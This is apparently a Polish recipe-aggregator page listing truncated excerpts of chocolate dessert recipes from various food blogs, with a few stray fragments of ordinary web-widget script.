Składniki: 180 g czekolady deserowej 2 jajka 225 g masła 1 szklanka mąki pszennej 1 szklanka cukru 1/2 łyżeczka proszku do pieczenia  8 łyżek dżemu truskawkowego 2 łyżki wiórek kokosowych Przepis: Czekoladę łamiemy na kostki i wrzucamy do garnuszka razem z pokrojonym masłem. Roztapiamy wszystko na gładką masę (nie zagotowujemy). Odstawiamy do ostygnięcia. W tym czasie całe jajka ucieramy(...)puszystą masę z cukrem. Następnie dodajemy do tej masy rozpuszczoną czekoladę z masłem i dokładnie mieszamy. Do tej masy dosypujemy proszek do pieczenia razem z mąką i znowu dokładnie mieszamy. Ciasto przekładamy do foremki (np. tak jak w moim przypadku do foremki silikonowej uprzednio wysmarowanej lekko olejem w kształcie serduszka, ale będzie dobra standardowa forma wyłożona papierem do pieczenia

Emcia Pichci
Domowe mleko czekoladowe z bran flakes'ami 122

Składniki: 1 szklanka mleka 2 kostki czekolady deserowej 3 łyżki płatków bran flakes Przepis: Do garnuszka wlewamy 1/3 szklanki mleka i dodajemy poszatkowane kostki czekolady. Na małym ogniu rozpuszczamy czekoladę w mleku. Po jej całkowitym rozpuszczeniu dodajemy pozostałe mleko i gotujemy jeszcze ok. 3 minuty. Mleko podajemy z płatkami. Ps. to mleko skradło moje serca, jest przepyszne! Bran Flakes czyli

Emcia Pichci
Arbuzowe galaretki 135

Składniki: 1 galaretka arbuzowa WINIARY 3 limonki 1 kostka czekolady (gorzkiej) Przepis: Limonki obmywamy i parzymy przez chwilę we wrzątku, następnie przekrawamy na pół i dokładnie wydrążamy środek. Następnie przygotowujemy galaretkę zgodnie z opisem na opakowaniu. Po wystudzeniu przelewamy galaretkę do wydrążonych połówek limonek. Tak przygotowane limonki umieszczamy w lodówce do całkowitego zastygnięcia galaretki. Po tym czasie przekrawamy limonki(...)ćwiartki, rozpuszczamy (najlepiej w kąpieli wodnej) kostkę czekolady i za pomocą wykałaczki nanosimy na galaretkę kropelki rozpuszczonej czekolady (na kształt pestek). Galaretki podajemy w dniu, w którym zostały przygotowane, lekko schłodzone.  Smacznego

Emcia Pichci
Ciastka czekoladowe z bakaliami i płatkami owsianymi 189

wyszły przepyszne, mięciutkie, aromatyczne i ekspresowe w wykonaniu. Przepis można dowolnie modyfikować, dodając ulubione dodatki (orzechy, żurawinę,   migdały, skórkę pomarańczową, suszone wiśnie itd.). Myślę że nawet z samą czekoladą były by obłędne. Ciasteczka polecam na święta, można je przygotować wcześniej i przechowywać w pojemniku. Zdecydowanie jeszcze nie raz je zrobię, tym bardziej, że moja mama dodała je do twojego(...)więcej jeśli ktoś lubi słodsze wypieki) pół łyżeczki cynamonu 200 g masła 2 jajka 1 łyżeczka aromatu waniliowego ½ opakowania cukru waniliowego 1,5 szklanki płatków owsianych 3/4 szklanki posiekanej czekolady (ja użyłam mlecznej z kawałkami batoników Daim) pół szklanki żurawiny (jeśli jest większa można posiekać) 1/3 szklanki skórki pomarańczowe (kandyzowanej) Wszystkie składniki powinny być w temperaturze pokojowej!! W misce

Mania Gotowania
Cytrynowe cupcakes z kremem jogurtowym 170

marmolada lub konfitura pomarańczowa Krem: ·        700 g jogurtu greckiego ·        100 g białej czekolady ·        ½ łyżki żelatyny rozpuszczonej w ¼ szklance wrzącej wody ·        2 łyżeczki jasnego miodu Przygotowanie: Cukier utrzeć z masłem aż powstanie głodka masa. Dodać jajka, aromat(...)piec przez około 20-25 min. w temperaturze 180 stopni. Przygotować krem. Żelatynę rozpuścić w gorącej wodzie. Odstawić do przestygnięcia, najlepiej w chłodne miejsce. Żelatyna powinna się lekko ściąć. Czekoladę rozpuścić w kąpieli wodnej. Jogurt wymieszać z czekoladą i miodem. Dodać żelatyna. Dobrze wszystko wymieszać. Odstawić krem na 30 minut do lodówki. Przełożyć do rękawa cukierniczego i udekorować   wystudzone

Mania Gotowania
Stefanka 154

szklanki wody ·        1 czubata łyżka kakao ·        3 żółtka ·        100 g czekolady gorzkiej lub mlecznej ·        100g miękkiego masła Dodatkowo: ·        1/2 słoiczka powideł śliwkowych ·        100g rodzynek(...)wyłożyć pianę z białek. Piec na złoty kolor 35 minut w 180 stopniach. W tym czasie zrobić masę. Cukier zalać wodą i kakao. Całość zagotować i odstawić do wystygnięcia. Czekoladę rozpuścić w kąpieli wodnej. Również odstawić aby lekko ostygła. Żółtka utrzeć. Przestudzoną masę kakaową dodawać małymi partiami do żółtek. Cały czas miksując. Masło zmiksować na gładką masę. Dodawać stopniowo kakaową

Mania Gotowania
Makaroniki z kremem Raffaello 175

szczypta soli Krem rafaello :   ·        200 g mascarpone ·        80 g białej czekolady ·        1 łyżka likieru kokosowego ·        ½ łyżeczki aromatu kokosowego w proszku (opcjonalnie) ·        4 łyżki wiórków kokosowych   Przygotowanie: Migdały zmielić(...)masa wyschnie i powstanie skorupka wyczuwalna po dotknięciu palcem. Piekarnik nagrzać do temperatury 140 stopni i piec ciastka około 14 minut. Po tym czasie wyjąć i wystudzić. Przygotować krem. Czekoladę rozpuścić w kąpieli wodnej. Odstawić aby przestygła. Mascarpone przełożyć do miski, cały czas miksują dodawać po łyżce czekolady. Następnie dodać wiórki kokosowe, likier i aromat. Wymieszać dokładnie. Schłodzić w lodówce

Mania Gotowania
Tort Praga 177

słodzonego 200 g masła 2 łyżki kakao przesianego 1 opakowanie cukru waniliowego 1 kieliszek wódki (do nasączenia) Glazura: 50 g konfitury brzoskwiniowej lub morelowej Polewa czekoladowa: 60 g gorzkiej czekolady 60 g masła   Przygotowanie: Tortownicę o średnicy 23 cm smarujemy masłem i wykładamy papierem do pieczenia. Uwaga!! Wszystkie składniki powinny być w temperaturze pokojowej. Mąkę i kakao przesiewamy przez(...)Odstawiamy aby masa wystygła. Masło ucieramy mikserem z cukrem wanilinowym. Dodajemy po łyżce masy mleczno-jajecznej, cały czas miksując. Na końcu dodajemy kakao i miksujemy wszystko dokładnie. Masło i czekoladę rozpuszczamy w kąpieli wodnej. Mieszamy dokładnie aby czekolada połączyła się z masłem. Blaty ciasta nasączamy delikatnie alkoholem. Przekładamy je masą czekoladową. Odstawiamy na kilka minut aby lekko zgęstniała. Wierzch

Mania Gotowania
Keks mocno czekoladowy ze śliwką i bakaliami 142

czubate łyżki kakao 3/4 łyżeczki proszku do pieczenia 125 g masła 1/2 szklanki cukru dark muscovado 1/2 szklanki cukru 3 jajka 2 łyżeczki ekstraktu z wanilii 100 g czekolady gorzkiej 50 g suszonej śliwki 40 g orzechów włoskich 50 g mieszanki bakalii do keksu 20 g żurawiny suszonej pół łyżki mąki do obtoczenia bakalii 4-5 śliwek polewa czekoladowa Przygotowanie(...)mące. Masło umieszczamy w misie miksera i ucieramy razem z cukrem i ekstraktem waniliowym na puszystą masę. Dodajemy jajka, jedno po drugim, miksując po każdym dodaniu do gładkości. Czekoladę roztapiamy w kąpieli wodnej i lekko przestudzoną dodajemy do masy. Miksujemy. Do masy dodajemy suche składniki i mieszamy wszystko łyżką lub szpatułką do połączenia się składników. Dodajemy bakalie i mieszamy delikatnie

Mania Gotowania
Ciasteczka intensywnie czekoladowe 149

Idealne ciasteczka, kiedy mamy ochotę na coś baardzooo intensywnie czekoladowego. Są pyszne, mięciutkie, długo zachowujące świeżość. W smaku przypominają nieco brownies, polecam wszystkim miłośnikom czekolady!! Ciasteczka intensywnie czekoladowe Składniki: 200 g gorzkiej czekolady 50 g masła 150 g mąki 1/2 łyżeczki proszku do pieczenia szczypta soli 2 jajka 150 g cukru 1 łyżeczka ekstraktu z wanilii Przygotowanie Masło oraz czekoladę

Mania Gotowania
Owsiane ciasteczka orzechowe 163

orzechów (migdałów, włoskich lub laskowych) garść rodzynek (opcjonalnie) 4 łyżki miodu lub innego słodzika kilka kropel aromatu migdałowego 4 łyżki odtłuszczonego masła orzechowego (można użyć również standardowego) 30 g czekolady 1/5 szklanki oleju 1 łyżeczka proszku do pieczenia ½ łyżeczki sody 1 jajko Przygotowanie: Płatki owsiane mielimy na mączkę. Nie muszą być idealnie zmielone, jednak większość powinna być rozdrobniona. Wszystkie suche(...)składniki mieszamy w misce. Orzechy siekamy na mniejsze kawałki, możemy je również zmielić ale tak aby pozostały większe cząstki. Czekoladę również kroimy na małą kosteczkę. Orzechy oraz czekoladę dodajemy do suchych składników. Do miski dodajemy miód, jajko, olej, aromat i masło orzechowe.  Zagniatamy dokładnie masę. Blachę wykładamy papierem do pieczenia. Piekarnik nagrzewamy do 160 stopni. Z masy formujemy

Mania Gotowania
Tarta ze śliwkami i musem czekoladowym 161

układamy na cieście pokrojone na ćwiartki śliwki, tak aby pokryły całą powierzchnię. Pieczemy w piekarniku około 30 minut w temp. 180 stopni C. Składniki na mus czekoladowy: 1 tabliczka czekolady mlecznej 1 tabliczka czekolady gorzkiej 200 ml śmietany 30% W rondelku zagotowujemy śmietankę, dodajemy pokruszoną czekoladę, mieszamy do całkowitego rozpuszczenia. Zdejmujemy z ognia, studzimy do całkowitego wystudzenia. Mus wstawiamy

SMYKWKUCHNI
Ciasto czekoladowo - chałwowe 335

dzielimy na 3 części. Krem z serkiem mascarpone, nr 1: - 200 g margaryny (o temp. pokojowej) - 60 g cukru pudru - 150 g serka mascarpone (o temp. pokojowej) - 100 g czekolady mlecznej rozpuszczonej w kąpieli wodnej Wykonanie: Margarynę ucieramy na puch około 4 minuty, dodajemy cukier, ucieramy kolejne 5 minut, dodajemy rozpuszczoną czekoladę, po dokładnym wymieszaniu, ubijamy dalej, dodając po łyżce(...)masła - 150 g chałwy czekoladowej - 2 łyżki kajmaku Masło ucieramy na puch dodajemy kajmak, ucieramy powoli, po połączeniu się składników, dodajemy chałwę. Wykładamy na sam wierzch. Posypujemy rodzynkami. Polewamy czekoladą rozpuszczoną w kąpieli wodnej. Pozdrawiam cieplutko! Smacznego! Zapraszam na SMYKWKUCHNI na Facebooku

SMYKWKUCHNI
Brownie czekoladowe z bananami 425

Mocno czekoladowe.... ;-) Dla Wszystkich Miłośników czekolady.  Ciasto jest obłędnie pyszne, mocno czekoladowe, mocno aromatyczne. Sczerze polecam! Składniki: - 1 margaryna - 1/2 szklanki mleka -1,5 szkl cukru - 4 czubate łyżki kakao - 100 g czekolady mlecznej - 50 g czekolady gorzkiej - 3 banany - 4 jaja - 2 szklanki mąki - 2 łyżeczki proszku do pieczenia - przyprawa do piernika - łyżeczka przyprawy do piernika Macie ochotę

SMYKWKUCHNI
Muffinki czekoladowe z bananami.... przepyszne! 133

Kochani specjalnie na Walnetyki zachęcam Was do przygotowania przepysznych czekoladowych muffinek z czekoladą, bananami, kardamonem i cynamonem. Nic dodać, nic ująć. Miłość dzisiaj czuć w powietrzu ;-) Życzę Wam pięknych chwil dzisiaj! Miłości Kochani! Składniki: - 1 margaryna - 1/2 szklanki mleka - 1,5 szkl cukru - 4 łyżki kakao - 4 jaja - 2 szklanki mąki - 2,5 łyżeczki proszku do pieczenia - łyżeczka cynamonu - łyżeczka(...)kardamonu - tabliczka czekolady mlecznej - 3 banany (dojrzałe) Wykonanie: W rondelku rozpuszczamy margarynę, mleko, cukier, kakao i przyprawy. Mieszamy wszystko, gotujemy na małym ogniu 5 minut. Zdejmujemy z ognia i czekamy aż masa wystygnie. Do miseczki wybijamy białka, oddzielając je od żółtek. Białka ubijamy na sztywno z odrobiną soli. Do czekoladowej masy dodajemy żółtka i ubijamy mikserem, następnie dodajemy mąkę wymieszaną

SMYKWKUCHNI
TRUSKAWKOWO - MIĘTOWA CHMURKA PRZYJEMNOŚCI Z GALARETKĄ! 174

Najlepszy owocowy deser na upalne dni! Świeże truskawki, przepyszna i słodka galaretka Winiary, rozpływająca się w ustach czekolada z nadzieniem miętowym, która orzeźwia i chłodzi! ROZPOCZNIJ OWOCOWY SEZON! SKŁADNIKI: -galaretka truskawkowa Winiary - 200 g truskawek - 150 ml śmietany 18% - 150 ml jogurtu greckiego - czekolada z nadzieniem miętowym - 2 łyżki syropu miętowego lub syropu mohito  - 2 łyżki żelatyny WYKONANIE: - galaretkę(...)kucharskie, wyłóż folią spożywczą (możesz też użyć np. filiżanek), wlej masę i wstaw na 1 godzinę do lodówki - szybkim ruchem wyjmij śmietanowca z foremki na talerzyk - na tarce zetrzyj czekoladę, udekoruj deser - podaj gościom, zachwytom nie będzie końca! ;-) Smacznego! Duuuużo słoneczka za oknem życzę! ;* Przepis startuje w konkursie

SMYKWKUCHNI
SERNIK NA ZIMNO NA CHRUPIĄCYM SPODZIE Z DODATKIEM NUTELLI 761

serca zarówno małych gości na imprezie (wielkich wielbicieli nutelli) jak i tych starszych. Idealne połączenie smaków. Słodycz nutelli, chrupkość sucharów, dodatek owoców, różne smaki galaretek i polewa z gorzkiej czekolady- mniam, mniam, to musiało być pyszne... :-) Idealnie sprawdza się na letnich uroczystościach. Niezbyt słodkie, orzeźwiające- po prostu pyszne. Przygotowałam na blaszce 33x23cm. Składniki spodu: - 250g sucharów (u mnie bez cukru(...)wiaderka ) - 0,5l kremówki - 1 galaretka malinowa+1 łyżeczka żelatyny Składniki warstwy owocowej: - 250g odszypułkowanych truskawek - 1 galaretka agrestowa - 2 galaretki truskawkowe lub malinowe Składniki polewy: - 100g gorzkiej czekolady (u mnie 60%) - 100ml kremówki - 1 łyżeczka żelatyny Przygotować sobie 3 kubeczki i w każdym rozpuścić potrzebne nam galaretki,tzn. *w pierwszym kubku rozpuszczamy galaretkę potrzebną nam do masy serowej

Smaczne Zdrowe
Francuskie ciastka z wiśnią nadwiślanką 232

Chciałam przygotować coś słodkiego, ale nie miałam na to zbyt wiele czasu. Wymyśliłam więc szybkie ciastka francuskie z wiśniami w czekoladzie i śmietankową chmurką. Wyszło szybki, smacznie i słodko:))) Chłopakom tak zasmakowało, że ciastka zniknęły po prostu w zatrważającym tempie! Możecie sobie przy nich jeszcze bardziej ułatwić pracę używając gotowej konfitury z wiśni. Przygotowanie ciastek zajmuje jedynie jakieś 20 minut(...)więc idealne na niezapowiedzianą wizytę znajomych:)  Składniki: opakowanie ciasta francuskiego,  250g wiśni nadwiślanki ChNP,  50g gorzkiej czekolady,  łyżka żelatyny,  3 łyżki cukru,  300ml śmietanki 30%,  2 łyżki cukru pudru. Wykonanie Ciasto francuskie podzielić na 12 prostokątów. Ułożyć na blasze wyłożonej papierem do pieczenia. Piec około 15 minut w temp. 200st. Ostudzić i przekroić

Z miłości do słodkości
Sernik na zimno z coca - colą 286

najlepiej sprawdzają się szybkie desery i ciasta na zimno. A zdecydowanie najlepszym, według mnie oczywiście:)), ciastem na zimno jest sernik:) Ja zrobiłam sernik na zwykłych okrągłych biszkoptach z dodatkiem czekolady i coca - coli. Wykorzystałam do niego twarożek -  naprawdę idealny do serników, który otrzymałam od marki Wieluń do testowania. Nie kupuję nigdy gotowych twarożków we wiaderku, ale ten jest naprawdę(...)świetny! Masa serowa: 500g twarożku kanapkowo- sernikowego (ja użyłam Wieluń),  400 ml śmietanki 30%, 250ml jogurtu naturalnego,  szklanka cukru pudru,  200ml coca-coli,  100g mlecznej czekolady,  2 łyżki żelatyny,  1/2 laski wanilii, 100g okrągłych biszkoptów. Na dno tortownicy o śr. 24 cm wyłożyć ciasno biszkopty. Do coli dodać żelatynę, wymieszać i odstawić

Z miłości do słodkości
Czekoladowe muffiny z truskawami 113

truskawki wszem i wobec jest otwarty należy z nich korzystać. Na wszystkie sposoby! Składniki: dwie szklanki mąki 3/4 szklanki cukru + dwie łyżki cukru waniliowego prawdziwego  pół tabliczki gorzkiej czekolady o zawartości kakao nie mniejszej niż 70% szklanka mleka dwa jaja szczypta soli dwie łyżeczki proszku do pieczenia ćwierć szklanki oleju  50 gram masła 300 gram świeżych truskawek Zaczynamy(...)tego, że w kąpieli wodnej rozpuszczamy czekoladę z masłem. W tym czasie w jedej misce mieszamy składniki mokre: żółtka jaj, mleko i olej. Białka ubijamy na sztywno osobno. W drugiej misce mieszamy składniki suche: mąkę, proszek do pieczenia, cukry i sól. Truskawki kroimy na ćwiartki. Do składników suchych dodajemy mokre. Następnie dolewamy rozpuszczoną czekoladę z masłem i mieszamy całość

Mango Papaja
Banoffee pie czyli ciasto bez pieczenia 29916

ciacho gdzieś w sieci postanowiłam sprawdzić, gdzie ten obłęd w tym deserze siedzi. No cóż, biorąc pod uwagę to, że w jednym kęsie mamy połączenie ciasteczkowego, kruchego spodu, karmelu, czekolady, śmietany i bananów... Nie trzeba chyba długo zastanawiać się nad tym dlaczego tym ciastem zachwyca się cały świat. Jestem pewna, że każdy kto raz spróbuje tego deseru z pewnością się(...)digestive (ja użyłam czekoladowych herbatników i też jest pycha!) 125 gram masła 3 średnie banany kilka łyżek soku z limonki lub cytryny 500 gram masy krówkowej 100 gram gorzkiej czekolady (ja użyłam mlecznej, a co!) 2-3 łyżki kakao 400 ml śmietany kremówki fix do śmietany  łyżka cukru pudru Masło roztapiamy i odstawiamy do wystygnięcia. Ciasteczka kruszymy na proszek

Mango Papaja
Fondant z sosem malinowym i lodami 149

kwaśnego. I gorącego. I zimnego. Podpieczona skorupka i płynny w środku. Taki jest mój ulubiony deser. Oto on. Składniki: (na 4 kokilki) 300 gram świeżych malin 100 gram czekolady (u mnie mleczna, a co!) 3 jaja  100 gram masła (+ ciut do wysmarowania kokilek) 2 łyżki mąki pszennej 3 łyżki cukru lody waniliowe szczypta soli Maliny blenderujemy(...)tyle z malinami. Jeżeli są kwaśne- tym lepiej. Będą wspaniałym przełamaniem smaku dla słodkiego deseru ze słodkimi lodami.  Czekoladę, masło i cukier rozpuszczamy w kąpieli wodnej (tak jest najszybciej i najłatwiej). Gdy już wszystko się rozpuści, odstawiamy na moment masę czekoladą do wystygnięcia. Białka ubijamy ze szczyptą soli na sztywno. Do masy czekoladowo-maślano-cukrowej dodajemy przesianą mąkę. Dokładnie

Mango Papaja
Sernik jagodowy 243

Moich Wypieków , jednak przepis zmieniłam w taki sposób jak ja robię serniki. Wyszedł sernik typu nowojorskiego, o pięknym kolorze, który zachwycił gości. Mocno jagodowy, z fajnym akcentem czekolady od ciasteczkowego spodu, zupełnie inny od ciast jakie jadłam do tej pory. Śmietankowa polewa wizualnie nadaje mu uroku. Obowiązkowa pozycja dla fanów owoców leśnych (zamiast jagód można do masy serowej użyć także(...)malin) oraz nietypowych serników. Spód na sernik: ok. 280 g kruchych ciastek lub herbatników w czekoladzie ok. 100 g miękkiego masła Sernik jagodowy (składniki w temp. pokojowej) : 2 i 1/3 szklanki jagód 1 kg białego sera 3-krotnie mielonego * 3/4 szklanki cukru 1 łyżka cukru z wanilią 1 łyżka soku z cytryny 4 jajka 2 czubate łyżki budyniu waniliowego (proszek

Poezja smaku
Tort rafaello z truskawkami - bez wiórków kokosowych:) 534

Przełożyć do natłuszczonej i wyłożonej pergaminem tortownicy o średnicy 24cm. Piec ok. 30 min w temp. 175st.  Ostudzić, przekroić na 3 krążki. Dodatkowo: 500g truskawek,  250g białej czekolady,  śmietan-fix,  2 szklanki śmietanki 30%,  100g płatków ryżowych błyskawicznych,  200ml mleka,  3 łyżki cukru pudru.  Czekoladę rozpuścić, przestudzić. Mleko zagotować, wsypać płatki, wymieszać(...)przestudzić. Śmietankę ubić, wsypać śmietan-fix oraz cukier puder. Dodawać po łyżce rozpuszczonej czekolady. Dodać przestudzone płatki ryżowe. Kilka truskawek odłożyć do dekoracji, resztę pokroić w plasterki. Pierwszy krążek ciasta posmarować kremem, powciskać pokrojone truskawki, przykryć 2 krążkiem ciasta. Ponownie posmarować kremem, ułożyć truskawki i przykryć ostatnim krążkiem ciasta. Wierzch i boki ciasta posmarować resztą kremu. Udekorować truskawkami. Przepis bierze

Z miłości do słodkości
Kakaowo-rumowa babka z żurawiną 136

kakaowe ciasta to ten przepis jest właśnie dla Was. Babka ma wyczuwalną rumową nutkę co dodatkowo przemawia za tym aby ją wypróbować :) Do tego żurawina i polewa z białej czekolady, pychota! Czy jest w ogóle ktoś kto nie chciałby skosztować? ;)  Składniki: Na ciasto: 1 szklanka mąki tortowej 1/2 szklanki cukru 1/3 szklanki mleka 2 jajka 2 pełne łyżki kakao(...)pieczenia 65g margaryny lub masła 25ml rumu odrobina olejku rumowego (opcjonalnie) 2-3 łyżki suszonej żurawiny (plus 1 łyżka do posypania) Na polewę:    1 tabliczka białej czekolady     3 łyżki mleka Przygotowanie: Mąkę przesiewamy z proszkiem do pieczenia. Dodajemy sól. Margarynę/masło rozpuszczamy na wolnym ogniu. Następnie zestawiamy z palnika i dolewamy mleko i rum (opcjonalnie

Ze smakiem i z pasją
Deser ze świeżym ananasem 199

desery: 250 ml kremówki 30 % 150 g serka mascarpone 2 łyżeczki ksylitolu/cukru 1 dojrzały ananas 4 łyżeczki konfitury pomarańczowej 3 pełne łyżki płatków migdałowych  3 kostki gorzkiej czekolady Przygotowanie: Kremówkę ubić z ksylitolem lub z cukrem. Na końcu dodać serek mascarpone i krótko zmiksować ze śmietaną na małych obrotach. Ananasa obrać, pokroić w krążki a następnie w małe trójkąciki(...)Płatki migdałów uprażyć krótko na suchej patelni. Powinny bardzo lekko się przyrumienić, jeśli przegapimy ten moment płatki będą gorzkie. Czekoladę zetrzeć na tarce. Do pucharków nałożyć po łyżeczce konfitury pomarańczowej, następnie po warstwie masy śmietankowej i kawałków ananasa, posypać płatkami migdałów i wiórkami czekoladowymi. Wiórki przykryć kolejną warstwą masy a na wierzch wyłożyć kawałki ananasa i znów posypać płatkami migdałów

Ze smakiem i z pasją
Budyń truskawkowy z kardamonem 219

cukru 1 łyżka cukru z wanilią lub wanilinowego 2 płaskie łyżki mąki ziemniaczanej 1/3 łyżeczki mielonego kardamonu (można pominąć lub zastąpić cynamonem) do przybrania: truskawki do przybrania: kostka gorzkiej czekolady listonic_type='fooddrink';listonic_theme='addToShoppingList7';listonic_content='1 szklanka zmiksowanych truskawek 1,5 szklanki mleka 1 żółtko 1 łyżka cukru 1 łyżka cukru z wanilią lub wanilinowego 2 płaskie(...)łyżki mąki ziemniaczanej 1/3 łyżeczki mielonego kardamonu (można pominąć lub zastąpić cynamonem) do przybrania: truskawki do przybrania: kostka gorzkiej czekolady'; document.write(" "); W rondelku zagotowujemy jedną szklankę mleka wraz ze szklanką zmiksowanych truskawek i cukrem (jeśli chcemy, aby budyń był aksamitny można przetrzeć zmiksowane truskawki przez sito – ja tego nie robię). Do pozostałego mleka dodajemy mąkę ziemniaczaną, żółtko oraz kardamon

Poezja smaku
Tort na moje urodzinki :) 236

myślę, że nie więcej niż 4 łyżki) 2 łyżeczki żelatyny rozpuszczone w jak najmniejszej ilości wody (bez niej krem będzie zbyt rzadki) Do polewy: 100 g mlecznej (lub gorzkiej) czekolady 100 ml śmietanki kremówki Blaty bezowe można upiec razem (jeśli ma się odpowiednio duży piekarnik i trzy blachy do pieczenia), można też upiec je oddzielnie. Należy wtedy wszystkie składniki podzielić(...)wstawić masę do lodówki i dopiero wtedy składać tort. Na sam koniec przygotowujemy polewę. Żaroodporną miskę umieszczamy na garnku z gotującą się wodą, a w niej połamaną na kawałki czekoladę i kremówkę. Rozpuszczamy, a gdy uzyskamy już gładką, jednolitą konsystencję, zestawiamy z ognia. Gotową polewę odstawiamy, a gdy ostygnie, jest już gotowa do użytku. Na paterze czy talerzu układamy pierwszą

Ratunku obiad
Magiczne ciasto na niepogodę 195

szklanki cukru pudru (może być zwykły, ale wtedy miksowanie potrwa trochę dłużej) 1/4 łyżeczki białego octu winnego Do polewy (mojego pomysłu): 4 czubate łyżki masy krówkowej 100 g mlecznej czekolady 100 ml śmietanki kremówki Masło roztapiamy i zostawiamy do przestygnięcia. Żółtka ucieramy z cukrem na puch. Cały czas miksując, dodajemy masło, a następnie mąkę i kakao. Mleko dodajemy stopniowo, miksując(...)Polewę przygotowujemy dopiero, gdy ciasto jest już ostudzone. W garnku zagotowujemy wodę, umieszczamy nad nią miseczkę i w kąpieli wodnej rozpuszczamy masą krówkową, z połamaną na małe kawałki czekoladą i śmietanką. Mieszamy aż masa stanie się w miarę jednolita, odstawiamy do częściowego ostygnięcia. Wciąż lekko ciepłą polewą ozdabiamy ciasto. Wstawiamy na ok. 2 godz. do lodówki. Tak przygotowana polewa nigdy

Ratunku obiad
Owsianka pomarańczowo-czekoladowa 176

Prawdziwy full wypas śniadaniowy ;) Połączenie czekolady i pomarańczy lubi chyba każdy fan słodkości a zacząć dzień od takiej owsianki to prawdziwa przyjemność. Na 1 porcję: 150 ml mleka 2% 200 ml wody 4 płaskie łyżki płatków owsianych ( nie błyskawicznych) łyżka suszonych jagód goji 0/5 łyżeczki cynamonu mała pomarańcza kostka gorzkiej czekolady kilka plasterków banana 2 truskawki Wodę z mlekiem zagotowujemy(...)Wsypujemy płatki i na wolnym ogniu gotujemy ok. 15 minut cały czas mieszając. Na około 2 minuty przed końcem gotowania dodajemy jagody goi, startą czekoladę, pokrojona na małe kawałki pomarańczę oraz cynamon. Gęstą owsiankę zdejmujemy z ognia, przykrywamy i odstawiamy na 5 minut. Podajemy ze świeżymi owocami. Smacznego :) function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined

Mienta blog
Sernik jagodowy 144

Mirabelki ;  odrobinkę go zmodyfikowałam - ale tylko odrobinkę i... wyszło: niebo w gębie.  Przepis: na spód potrzebne będą: 200g herbatników petit beurre; 100g roztopionego masła; 6 kostek białej czekolady; Herbatniki rozdrabniamy blenderem; czekoladę "kruszymy" lub trzemy na tarce i dodajemy do herbatników. Podobnie robimy z roztopionym masłem - dokładnie mieszamy. Do tortownicy wyłożonej papierem lub folią wykładamy powstałą masę(...)składniki mieszamy dokładnie i polewamy nimi upieczony sernik. Wstawiamy ponownie do piekarnika na 10 min. Studzimy i pozostawiamy w lodówce na 12 godzin. Ja posypałam całość wiórkami z białej czekolady. Smacznego

Miksturownik
Ptasie mleczko z brzoskwiniami - deser mojego dzieciństwa :) 206

BOMBA!!!  Składniki: Trzy galaretki najlepiej o kontrastujących kolorach; (ponieważ chciałam wykorzystać brzoskwinie wybrałam galaretkę brzoskwiniową, poziomkową i agrestową.); puszka mleczka skondensowanego, niesłodzonego za to schłodzonego; opcjonalnie: brzoskwinie; tabliczka czekolady mlecznej; łyżka miodu; ok. 3 łyżek mleka. Galaretki rozpuszczamy w 400 ml wrzącej wody i pozostawiamy, aż zaczną tężeć. Brzoskwinie kroimy w drobną kostkę. Gdy galaretki są już "półpłynne" zabieramy(...)pełnego połączenia składników. Przekładamy do pucharków i znów zaczynamy od początku :) Pierwszą warstwę zrobiłam z galaretki brzoskwiniowej i dodałam do niej pokrojone brzoskwinie. Na koniec w kąpieli wodnej rozpuściłam czekoladę z miodem i mlekiem i polałam nimi stężałą piankę. Z tych składników wyszło mi 9 pucharków po 300 ml. Przy czym czekolady wystarczyło na 4 sztuki

Miksturownik
Wspomnienie wakacji.... 146

naprawdę można wypocząć i zapomnieć o codzienności. A że my niespokojne duchy jesteśmy to ten wypoczynek połączyliśmy ze zwiedzaniem, a jest co zwiedzać :) Wspaniałe miasto, mili ludzie i najwspanialsza czekolada do picia jaką miałam okazję wypić... A trochę ich już w życiu spróbowałam...  W Cafe Faktoria - Manufaktura czekolady podano nam napój bogów... gęstą, aksamitną czekoladę. Pyszności... Na samą myśl

Miksturownik
Piernikowa panna cotta w sosie czekoladowym 139

nilin owego! Można spróbować zastąpić nim cukier waniliowy, ale wtedy myślę, że wystarczy około 0,5 łyżeczki (plus łyżka normalnego cukru). Składniki na sos: - 100 g gorzkiej czekolady - 2 łyżki śmietanki 30% - łyżeczka masła - szczypta cynamonu Przygotowanie: 1. Żelatynę rozpuszczamy w zimnym mleku, mieszamy dokładnie. 2. Śmietankę podgrzewamy, dodajemy cukier waniliowy, a kiedy się rozpuści przyprawę do piernika, likier(...)podaniem polewamy foremki z wierzchu gorącą wodą i wyciągamy deser na talerzyki. 5. Na zdjęciu widzicie gwiazdki, które powycinałam zwykłą foremką do ciasteczek. 6. Przygotowanie sosu: śmietanę podgrzewamy z czekoladą w kąpieli wodnej. Gdy czekolada całkowicie się rozpuści dodajemy masło i cynamon. Studzimy i chłodnym sosem polewamy panna cottę

Kraina Tysiąca Smaków
Genialny batonik:) 208

warto zgrzeszyć, ja na pewno będę grzeszyć nieraz;) Przepis od Dorotus76. Składniki: 90 g roztopionego masła 100 g ciastek digestive, pokruszonych dość drobno ok. 200-250 g gorzkiej czekolady, posiekanej – można dać inną 70 g wiórek kokosowych  ok. 150 g posiekanych orzechów – u mnie laskowych i włoskich puszka mleka skondensowanego słodzonego (około 400g)  Użyłam 2 blaszek keksówek(...)boków batoników i była trudna do zerwania, więc następnym razem chyba wysmaruje również boki masłem), wlałam roztopione masło. Potem wsypywałam równomiernie warstwami: pokruszone ciastka, posiekaną (niezbyt drobno) czekoladę, wiórki kokosowe, a na końcu orzechy. Całość zalałam mlekiem z puszki i włożyłam na ok. 30 minut do nagrzanego do 170* piekarnika.  Przykryłam folią dopiero pod koniec pieczenia, stąd batonik wyszedł

Zdrowa Kuchnia Sowy
Czekoladowy sernik marmurkowy 134

zmniejszyłam ilość składników i zrobiłam w tortownicy o śr. 21 cm. Spód: * 150 g herbatników digestive * 70 g roztopionego masła * 30 g zmielonych orzechów Masa serowa: * 120 g gorzkiej czekolady * 500 g sera śmietankowego - u mnie serek wiaderkowy * 150 g fruktozy * 3 jajka * 150-200 g kwaśnej śmietany * łyżeczka olejku waniliowego Herbatniki zmieliłam, wymieszałam z masłem i orzechami. Wcisnęłam(...)spód tortownicy wyłożony alu folią i włożyłam do lodówki. Czekoladę rozpuściłam na parze i pozostawiłam do ostygnięcia. Wymieszałam ser z fruktozą, dodając po kolei jajka, śmietanę i olejek. Podzieliłam masę na 2 części, do jednej (większej) dodałam rozpuszczoną czekoladę i dobrze wymieszałam. Białą masę wlałam na spód, na to łyżką masę czekoladową, po czym trzonkiem  zamieszałam tak, aby powstał

